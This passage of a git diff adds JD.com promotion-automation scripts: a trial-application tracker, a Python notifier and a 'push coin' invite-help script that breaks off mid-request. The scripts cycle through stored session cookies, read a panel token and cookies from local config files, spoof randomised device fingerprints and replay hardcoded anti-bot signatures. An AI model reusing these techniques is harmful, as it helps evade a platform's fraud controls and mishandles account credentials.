`appid=newtry&functionId=try_MyTrials&clientVersion=10.3.4&client=wh5&body=%7B%22page%22%3A${page}%2C%22selected%22%3A${selected}%2C%22previewTime%22%3A%22%22%7D`, + headers: { + 'origin': 'https://prodev.m.jd.com', + 'User-Agent': 'jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'referer': 'https://prodev.m.jd.com/', + 'cookie': $.cookie + }, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.success) { + //temp adjustment + if (selected === 2) { + if (data.success && data.data) { + for (let item of data.data.list) { + item.status === 4 || item.text.text.includes('已放弃') ? $.giveupNum += 1 : '' + item.status === 2 && item.text.text.includes('试用资格将保留') ? $.successNum += 1 : '' + item.status === 2 && item.text.text.includes('请收货后尽快提交报告') ? $.getNum += 1 : '' + item.status === 2 && item.text.text.includes('试用已完成') ? $.completeNum += 1 : '' + } + console.log(`待领取 | 已领取 | 已完成 | 已放弃:${$.successNum} | ${$.getNum} | ${$.completeNum} | ${$.giveupNum}`) + } else { + console.log(`获得成功列表失败: ${data.message}`) + } + } + } else { + console.error(`ERROR:try_MyTrials`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function taskurl_xh(appid, functionId, body = JSON.stringify({})) { + return { + "url": `${URL}?appid=${appid}&functionId=${functionId}&clientVersion=10.3.4&client=wh5&body=${encodeURIComponent(body)}`, + 'headers': { + 'Cookie': $.cookie, + 'UserAgent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': 'https://prodev.m.jd.com/' + }, + } +} + +async function showMsg() { + let message = ``; + message += `👤 京东账号${$.index} ${$.nickName || $.UserName}\n`; + if ($.totalSuccess !== 0 && $.totalTry !== 0) { + message += `🎉 本次提交申请:${$.totalSuccess}/${$.totalTry}个商品🛒\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } else { + message += `⚠️ 本次执行没有申请试用商品\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } + if (!args_xh.jdNotify || args_xh.jdNotify === 'false') { + $.msg($.name, ``, message, { + "open-url": 'https://try.m.jd.com/user' + }) + if ($.isNode()) + notifyMsg += `${message}` + } else { + console.log(message) + } +} + +function totalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(name, opts) { + class Http { + constructor(env) { + this.env = env + } + + send(opts, method = 'GET') { + opts = typeof opts === 'string' ? { + url: opts + } : opts + let sender = this.get + if (method === 'POST') { + sender = this.post + } + return new Promise((resolve, reject) => { + sender.call(this, opts, (err, resp, body) => { + if (err) reject(err) + else resolve(resp) + }) + }) + } + + get(opts) { + return this.send.call(this.env, opts) + } + + post(opts) { + return this.send.call(this.env, opts, 'POST') + } + } + + return new (class { + constructor(name, opts) { + this.name = name + this.http = new Http(this) + this.data = null + this.dataFile = 'box.dat' + this.logs = [] + this.isMute = false + this.isNeedRewrite = false + this.logSeparator = '\n' + this.startTime = new Date().getTime() + Object.assign(this, opts) + this.log('', `🔔${this.name}, 开始!`) + } + + isNode() { + return 'undefined' !== typeof module && !!module.exports + } + + isQuanX() { + return 'undefined' !== typeof $task + } + + isSurge() { + return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon + } + + isLoon() { + return 'undefined' !== typeof $loon + } + + toObj(str, defaultValue = null) { + try { + return JSON.parse(str) + } catch { + return defaultValue + } + } + + toStr(obj, defaultValue = null) { + try { + return JSON.stringify(obj) + } catch { + return defaultValue + } + } + + getjson(key, defaultValue) { + let json = defaultValue + const val = this.getdata(key) + if (val) { + try { + json = JSON.parse(this.getdata(key)) + } catch { } + } + return json + } + + setjson(val, key) { + try { + return this.setdata(JSON.stringify(val), key) + } catch { + return false + } + } + + getScript(url) { + return new Promise((resolve) => { + this.get({ + url + }, (err, resp, body) => resolve(body)) + }) + } + + runScript(script, runOpts) { + return new Promise((resolve) => { + let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') + httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi + let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') + httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 + httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout + const [key, addr] = httpapi.split('@') + const opts = { + url: `http://${addr}/v1/scripting/evaluate`, + body: { + script_text: script, + mock_type: 'cron', + timeout: httpapi_timeout + }, + headers: { + 'X-Key': key, + 'Accept': '*/*' + } + } + this.post(opts, (err, resp, body) => resolve(body)) + }).catch((e) => this.logErr(e)) + } + + loaddata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + if (isCurDirDataFile || isRootDirDataFile) { + const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath + try { + return JSON.parse(this.fs.readFileSync(datPath)) + } catch (e) { + return {} + } + } else return {} + } else return {} + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + const jsondata = JSON.stringify(this.data) + if (isCurDirDataFile) { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } else if (isRootDirDataFile) { + this.fs.writeFileSync(rootDirDataFilePath, jsondata) + } else { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } + } + } + + lodash_get(source, path, defaultValue = undefined) { + const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') + let result = source + for (const p of paths) { + result = Object(result)[p] + if (result === undefined) { + return defaultValue + } + } + return result + } + + lodash_set(obj, path, value) { + if (Object(obj) !== obj) return obj + if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] + path.slice(0, -1).reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ + path[path.length - 1] + ] = value + return obj + } + + getdata(key) { + let val = this.getval(key) + // 如果以 @ + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objval = objkey ? this.getval(objkey) : '' + if (objval) { + try { + const objedval = JSON.parse(objval) + val = objedval ? this.lodash_get(objedval, paths, '') : val + } catch (e) { + val = '' + } + } + } + return val + } + + setdata(val, key) { + let issuc = false + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objdat = this.getval(objkey) + const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' + try { + const objedval = JSON.parse(objval) + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } catch (e) { + const objedval = {} + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } + } else { + issuc = this.setval(val, key) + } + return issuc + } + + getval(key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(key) + } else if (this.isQuanX()) { + return $prefs.valueForKey(key) + } else if (this.isNode()) { + this.data = this.loaddata() + return this.data[key] + } else { + return (this.data && this.data[key]) || null + } + } + + setval(val, key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(val, key) + } else if (this.isQuanX()) { + return $prefs.setValueForKey(val, key) + } else if (this.isNode()) { + this.data = this.loaddata() + this.data[key] = val + this.writedata() + return true + } else { + return (this.data && this.data[key]) || null + } + } + + initGotEnv(opts) { + this.got = this.got ? this.got : require('got') + this.cktough = this.cktough ? this.cktough : require('tough-cookie') + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { + opts.cookieJar = this.ckjar + } + } + } + + get(opts, callback = () => { }) { + if (opts.headers) { + delete opts.headers['Content-Type'] + delete opts.headers['Content-Length'] + } + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.get(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + this.got(opts).on('redirect', (resp, nextOpts) => { + try { + if (resp.headers['set-cookie']) { + const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() + if (ck) { + this.ckjar.setCookieSync(ck, null) + } + nextOpts.cookieJar = this.ckjar + } + } catch (e) { + this.logErr(e) + } + // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) + }).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + post(opts, callback = () => { }) { + // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 + if (opts.body && opts.headers && !opts.headers['Content-Type']) { + opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' + } + if (opts.headers) delete opts.headers['Content-Length'] + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.post(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + opts.method = 'POST' + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + const { + url, + ..._opts + } = opts + this.got.post(url, _opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + /** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {*} fmt 格式化参数 + * + */ + time(fmt) { + let o = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + 'S': new Date().getMilliseconds() + } + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) + return fmt + } + + /** + * 系统通知 + * + * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 + * + * 示例: + * $.msg(title, subt, desc, 'twitter://') + * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * + * @param {*} title 标题 + * @param {*} subt 副标题 + * @param {*} desc 通知详情 + * @param {*} opts 通知参数 + * + */ + msg(title = name, subt = '', desc = '', opts) { + const toEnvOpts = (rawopts) => { + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (this.isLoon()) return rawopts + else if (this.isQuanX()) return { + 'open-url': rawopts + } + else if (this.isSurge()) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (this.isLoon()) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (this.isQuanX()) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (this.isSurge()) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + if (!this.isMute) { + if (this.isSurge() || this.isLoon()) { + $notification.post(title, subt, desc, toEnvOpts(opts)) + } else if (this.isQuanX()) { + $notify(title, subt, desc, toEnvOpts(opts)) + } + } + if (!this.isMuteLog) { + let logs = ['', '==============📣系统通知📣=============='] + logs.push(title) + subt ? logs.push(subt) : '' + desc ? logs.push(desc) : '' + console.log(logs.join('\n')) + this.logs = this.logs.concat(logs) + } + } + + log(...logs) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log(logs.join(this.logSeparator)) + } + + logErr(err, msg) { + const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() + if (!isPrintSack) { + this.log('', `❗️${this.name}, 错误!`, err) + } else { + this.log('', `❗️${this.name}, 错误!`, err.stack) + } + } + + wait(time) { + return new Promise((resolve) => setTimeout(resolve, time)) + } + + done(val = {}) { + const endTime = new Date().getTime() + const costTime = (endTime - this.startTime) / 1000 + this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) + this.log() + if (this.isSurge() || this.isQuanX() || this.isLoon()) { + $done(val) + } + } + })(name, opts) +} diff --git a/jd_try_notify.py b/jd_try_notify.py new file mode 100644 index 0000000..8318b54 --- /dev/null +++ b/jd_try_notify.py @@ -0,0 +1,147 @@ +#Source::https://github.com/Hyper-Beast/JD_Scripts + +""" +cron: 20 20 * * * +new Env('京东试用成功通知'); +""" + + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +UserAgent = '' +uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) +addressid = ''.join(random.sample('1234567898647', 10)) +iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) +iosV = iosVer.replace('.', '_') +clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4", "10.2.2", "10.2.0", "10.1.6"], 1)) +iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) +area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) +ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + +def userAgent(): + """ + 随机生成一个UA + jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 + :return: ua + """ + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + print("加载通知服务失败~") + else: + send=False + print("加载通知服务失败~") +load_send() + + +def printf(text): + print(text) + sys.stdout.flush() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + print('读取auth.json文件出错,跳过获取备注') + +def get_succeedinfo(ck): + url='https://api.m.jd.com/client.action' + headers={ + 'accept':'application/json, text/plain, */*', + 'content-type':'application/x-www-form-urlencoded', + 'origin':'https://prodev.m.jd.com', + 'content-length':'249', + 'accept-language':'zh-CN,zh-Hans;q=0.9', + 'User-Agent':userAgent(), + 'referer':'https://prodev.m.jd.com/', + 'accept-encoding':'gzip, deflate, br', + 'cookie':ck + } + data=f'appid=newtry&functionId=try_MyTrials&uuid={uuid}&clientVersion={clientVersion}&client=wh5&osVersion={iosVer}&area={area}&networkType=wifi&body=%7B%22page%22%3A1%2C%22selected%22%3A2%2C%22previewTime%22%3A%22%22%7D' + response=requests.post(url=url,headers=headers,data=data) + isnull=True + try: + for i in range(len(json.loads(response.text)['data']['list'])): + if(json.loads(response.text)['data']['list'][i]['text']['text']).find('试用资格将保留')!=-1: + print(json.loads(response.text)['data']['list'][i]['trialName']) + try: + if remarkinfos[ptpin]!='': + send("京东试用待领取物品通知",'账号名称:'+remarkinfos[ptpin]+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + else: + send("京东试用待领取物品通知",'账号名称:'+urllib.parse.unquote(ptpin)+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + except Exception as e: + printf(str(e)) + if isnull==True: + print("没有在有效期内待领取的试用品\n\n") + except: + print('获取信息出错,可能是账号已过期') + pass +if __name__ == '__main__': + remarkinfos={} + try: + get_remarkinfo() + except: + pass + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ck = ck.strip() + if ck[-1] != ';': + ck += ';' + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + except Exception as e: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + get_succeedinfo(ck) diff --git a/jd_tyt.js b/jd_tyt.js new file mode 100644 index 0000000..f2242a8 --- /dev/null +++ b/jd_tyt.js @@ -0,0 +1,398 @@ +/* +入口 极速版 赚金币 推一推 +助力前三 + + [task_local] +#搞基大神-推一推 +3 1 * * * http://47.101.146.160/scripts/jd_tyt.js, tag=搞基大神-推一推, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + +const $ = new Env('推一推');//助力前三个可助力的账号 +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const JD_API_HOST = 'https://api.m.jd.com'; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let status = '' + +let inviteCodes = [] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + } + console.log('\n入口 狗东极速版 赚金币 推一推\n'); + console.log('\n本脚本无任何内置助力\n如果你发现有那么就是别人二改加的\n一切与本人无关\n'); + await info() + await coinDozerBackFlow() + await getCoinDozerInfo() + console.log('\n注意助力前三个可助力的账号\n'); + if (inviteCodes.length >= 3) { + break + } + } + + console.log('\n#######开始助力前三个可助力的账号#######\n'); + cookiesArr.sort(function () { + return .5 - Math.random(); + }); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!cookie) continue + for (let j in inviteCodes) { + $.ok = false + if (inviteCodes[j]["ok"]) continue + if ($.UserName === inviteCodes[j]['user']) continue; + await helpCoinDozer(inviteCodes[j]['packetId']) + console.log(`\n【${$.UserName}】去助力【${inviteCodes[j]['user']}】邀请码:${inviteCodes[j]['packetId']}`); + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + await $.wait(10000) + await help(inviteCodes[j]['packetId']) + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +function info() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=initiateCoinDozer&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636014459632&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('邀请码:' + data.data.packetId) + console.log('初始推出:' + data.data.amount) + if (data.data && data.data.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function coinDozerBackFlow() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=coinDozerBackFlow&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015617899&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('浏览任务完成再推一次') + + + } + } else if (data.success == false) { + console.log(data.msg) + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function helpCoinDozer(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1636015855103&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20211104165055104;9806356985655163;10005;tk01wd1ed1d5f30nBDriGzaeVZZ9vuiX+cBzRLExSEzpfTriRD0nxU6BbRIOcSQvnfh74uInjSeb6i+VHpnHrBJdVwzs;017f330f7a84896d31a8d6017a1504dc16be8001273aaea9a04a8d04aad033d9`, 